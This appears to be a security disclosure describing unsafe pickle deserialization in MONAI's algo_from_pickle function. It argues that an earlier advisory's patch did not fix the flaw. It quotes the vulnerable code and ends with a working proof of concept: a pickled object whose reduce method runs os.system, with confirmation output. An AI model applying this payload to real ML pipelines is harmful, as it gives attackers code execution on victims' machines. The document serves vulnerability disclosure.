def algo from pickle(pkl filename: str, ...):
  with open(pkl filename, "rb") as f pi:
    data bytes = f pi.read()
  data = pickle.loads(data bytes)     # SINK 1 — line 321, RCE fires here

  # isinstance/key checks happen AFTER deserialization — already too late

  algo bytes = data.pop("algo bytes")
  ...
  if len(template paths candidates) == 0:
    algo = pickle.loads(algo bytes)   # SINK 2 — line 350
  else:
    for p in template paths candidates:
      algo = pickle.loads(algo bytes) # SINK 3 — line 356

No Unpickler subclass, no find class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit:
  def  reduce (self):
    return (os.system, ('id > /tmp/rce proof.txt',))

# Craft malicious pkl
data = {"algo bytes": pickle.dumps(Exploit()), "template path": None}
with open("/tmp/evil.pkl", "wb") as f:
  f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
  data = pickle.loads(f.read())    # SINK 1 fires — RCE here
algo = pickle.loads(data["algo bytes"]) # SINK 2 fires

print(open("/tmp/rce proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo from pickle():
  desktop-5657tb1woong

Impact

Any application or ML pipeline calling algo from pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.